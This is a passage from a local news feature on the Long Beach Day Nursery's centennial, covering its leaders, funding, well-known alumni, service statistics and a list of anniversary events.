Wong's predecessor, Mary Soth, who was executive director for 22 years, said she was proudest of the nursery's early-intervention program that began in 1984 and has helped teachers and parents understand child behavior.
Soth, who is recovering from a stroke, said she also was proud of the fact that the nursery's West Branch was the first program in Long Beach to receive accreditation from the National Association for the Education of Young Children.
Both Wong and Soth talked about how rewarding it is helping to develop young children.
"It's a huge responsibility," Wong said. "Parents entrust their most precious children to our care. It's a lot of work, but we get lots of satisfaction, too."
Funding, of course, remains a challenge. Wong said the nursery's $3 million annual budget includes about $1 million from the state, $1 million from tuition and $1 million from donations, grants and endowments. Tuition, depending on income level, can run anywhere from $2 to $8.50 a day.
Wong stressed that the nursery gets critical support from the community, especially the Long Beach Rotary Club, which has supported the nursery since 1917. In fact, the Rotary Club came to the nursery's rescue when it needed to expand by spending $20,000 in 1924 to help purchase the property at 15th and Chestnut, the home of the West Branch, which opened in 1926.
Wong said that a report from the Long Beach Early Childhood Education Committee noted there still is a great need for community support in meeting the needs of preschool-aged children.
"The state cuts proposed for next year are really scary, too, but we will get through it and continue to help these children and their families," Wong said.
Florence Bixby couldn't have said it better.
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Beverly O'Neill and Richard King
They are the two most famous alums of the Long Beach Day Nursery: One grew up to be mayor of Long Beach, and the other is the oldest living alum.
Beverly O'Neill, former Long Beach mayor for 12 years, started at the Day Nursery when she was 3 years old in the 1930s. Her mother, Flossie Lewis, dropped her off and went to work at the nearby NuWay Laundry.
"We would have been in real trouble without the nursery. My father was in the hospital," O'Neill said. "I still remember the kindness I felt at the nursery. I can remember learning to tie my shoes and helping others to tie theirs. I remember the stability that it gave me. When I was 9, a kind lady paid for my singing lessons. Two things I didn't like were fish on Friday and cod liver oil."
O'Neill complimented the women who started the nursery in 1912. "It was so innovative to start something like that so women could work and provide for their families," she said. "They took care of something in our society that a lot of people didn't even want to talk about let alone do anything about it."
Richard King, the nursery's oldest living alum, started there in 1923 when he was 6 with his brother and stayed for three years. In the early days, the nursery cared for school-age children and not just preschoolers.
King, now 94, said, "I was a very happy kid there. It relieved my mother so much that we were well taken care of while she was working."
The former owner of King Printing Co., King has been very active in Long Beach serving on many community boards. He also is an alum of Poly High School.
An interesting side note: As the nursery's l00th anniversary approached, nursery officials put out a request for former students to tell their stories. King responded.
He was invited to take a tour of the nursery two years ago. He brought his wife, Ann, with him. As they were touring the West Branch on Chestnut Avenue, Ann said the place looked familiar. It should have. It turned out that Ann, too, had been a student at the nursery several years after her husband had been there. Since they had never discussed it before, neither of them knew the other had been students there until their tour.
Ann attended Wilson High School and Long Beach City College and also was very involved in community affairs.
"I absolutely loved the Day Nursery," Ann said. "I majored in sandbox."
By the Numbers:
25,000-30,000: Number of children served by Day Nursery since 1012
330: Number of children served each year; 230 on any given day.
36: Number of infants served in a year (ages 6 weeks to 18 months)
56: Number of toddlers served in a year (18 months to 36 months)
138: preschoolers served in a year (age 3 to 5 years)
58 percent: Number of low-income parents (household income below 70 percent of the state median income)
46-24-20-7: Number, in order, of Latinos, African Americans, Caucasians and Asians served by the nursery
1912: Year Day Nursery started
Anniversary Events
Here are events this year to celebrate the Long Beach Day Nursery's 100th Anniversary:
Jan. 23-Dec. 30: Historical Exhibit at Historical Society of Long Beach
March 19: Golf Tournament, Palos Verdes Country Club
May 12: 100th Anniversary Tea, Rancho Los Alamitos
June 13: Annual Meeting, Historical Society of Long Beach
Aug. 11: Family & Friends Picnic, Heartwell Park
Nov. 10: 100th Anniversary Gala, Long Beach Marriott Hotel
For more information, call 562-591-0509